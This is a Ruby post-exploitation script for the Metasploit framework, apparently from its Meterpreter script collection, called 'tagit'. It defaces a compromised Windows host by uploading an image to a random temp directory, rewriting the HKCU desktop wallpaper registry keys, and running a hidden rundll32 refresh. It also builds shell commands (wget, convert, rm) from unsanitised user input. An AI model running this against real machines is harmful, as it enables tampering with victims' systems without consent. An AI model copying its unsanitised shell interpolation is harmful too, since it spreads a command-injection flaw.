#
# tagit - Wallpaper Setter
#   Think of it as virtual spraypaint...
# from mubix and rezeusor with love
#
# NOTE: The image conversion requires imagemagick, which is packaged by default in BackTrack4
#

class String
  def starts_with?(prefix)
   prefix = prefix.to_s
   self[0,prefix.length]==prefix
  end
end

@session = client
@key = "HKCU"
@refresh_cmd = "rundll32.exe user32.dll, UpdatePerUserSystemParameters"
@image = "metasploit.bmp"
@bgcolor = "0 0 0"
@based = File.join(Msf::Config.install_root, "data\\")
@clni = false
@lfile = ""

# Options
opts = Rex::Parser::Arguments.new(
	"-h"  => [ false,  "Help Menu"],
	"-i"  => [ true, "Image filename (in Data Directory) OR a URL to an image"],
	"-c"  => [ true, "RGB color for background as a string '0 0 0' (in progress)"]
)

opts.parse(args) { |opt, idx, val|
        case opt
        when "-h" then
                print_line "tagit - Wallpaper Setter"
                print_line(opts.usage)
                raise Rex::Script::Completed
        when "-i" then
		if val.length > 3 then
		  if val.starts_with?("http:") then
		    system("wget #{val} --directory-prefix=#{@based}")	
		  else
		    @image = val
		  end
		  @image = val.split("/")[-1]
		  @lfile = File.join(@based, @image)
		  @bmfrc = File.join(@based, @image.split(".")[0] + ".bmp")
		  @clni = true
		  if (@image.split(".")[-1].downcase != "bmp") then
		    print_status("Converting image to BMP...")
		    system("convert #{@lfile} #{@bmfrc}")
		  end
		  @image = @image.split(".")[0] + ".bmp"
		end
	when "-c" then
		if val.length > 3 then
			@bgcolor = val
		end 
	end
}

@basef = File.join(Msf::Config.install_root, "data", @image)

#Make Temp Direcroty and upload image
@tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
print_status("Creating a temp dir for image #{@tempdir}...")
client.fs.dir.mkdir(@tempdir)
print_status(" >> Uploading #{@image}...")
@fd = client.fs.file.new(@tempdir + "\\" + @image, "wb")
@fd.write(::File.read(@basef, ::File.size(@basef)))
@fd.close

#Set Reg Key for wallpaper image
if(@key)
	registry_setvaldata("#{@key}\\Control\ Panel\\Desktop\\","Wallpaper","#{@tempdir}\\#{@image}","REG_SZ")
	registry_setvaldata("#{@key}\\Control\ Panel\\Desktop\\","TileWallpaper","0","REG_SZ")
	print_status("Set Wallpaper to #{@tempdir}#{@image}")

	# Setting the bacakground color isn't working right now
	#registry_setvaldata("#{@key}\\Control\ Panel\\Colors\\","Background","#{@bgcolor}","REG_SZ") 
else
	print_status("Error: failed to open the registry key for writing")
end

#Refresh the users' desktop config
@r = session.sys.process.execute(@refresh_cmd, nil, {'Hidden' => true, 'Channelized' => true})
@r.channel.close
@r.close

#Cleanup images
if @clni then
  print_status("Cleaning up image from #{@lfile}...")
  system("rm #{@bmfrc}")
  system("rm #{@lfile}")
end